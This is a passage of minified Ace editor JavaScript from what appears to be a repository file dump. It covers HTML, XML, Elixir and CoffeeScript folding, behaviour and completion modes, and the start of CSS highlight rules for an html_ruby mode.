v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/elixir\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/elixir_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./elixir_highlight_rules\").ElixirHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/elixir\"}.call(u.prototype),t.Mode=u}),define(\"ace/mode/html_elixir\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_elixir_highlight_rules\",\"ace/mode/html\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/elixir\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_elixir_highlight_rules\").HtmlElixirHighlightRules,s=e(\"./html\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./elixir\").Mode,f=function(){s.call(this),this.HighlightRules=i,this.createModeDelegates({\"js-\":o,\"css-\":u,\"elixir-\":a})};r.inherits(f,s),function(){this.$id=\"ace/mode/html_elixir\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-html_ruby.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeter